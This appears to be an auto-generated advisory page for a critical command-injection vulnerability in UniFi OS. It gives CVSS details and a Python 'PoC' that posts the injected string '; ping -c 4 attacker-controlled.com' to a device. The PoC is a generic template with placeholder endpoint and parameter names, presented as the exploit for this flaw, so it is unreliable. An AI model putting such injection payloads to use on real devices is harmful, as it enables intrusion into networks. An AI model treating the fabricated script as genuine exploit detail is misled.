A malicious actor with access to the network could exploit an Improper Input Validation vulnerability found in UniFi OS devices to execute a Command Injection.
CVSS Details
CVSS Score
10.0
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
Configurations (Affected Products)
No configuration data available.
UniFi OS (具体受影响版本请参考厂商公告)
PoC / Exploit Code
⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests
# Target URL of the vulnerable UniFi OS device
target_url = "http://<target-ip>/api/some/endpoint"
# Malicious payload to inject commands (e.g., ping a controlled server)
payload = "; ping -c 4 attacker-controlled.com"
# Send the malicious request
try:
response = requests.post(target_url, data={"vulnerable_param": payload}, timeout=5)
if response.status_code == 200:
print("[+] Payload sent successfully, check your listener.")
else:
print(f"[-] Request failed with status code: {response.status_code}")
except Exception as e:
print(f"[!] Error: {e}")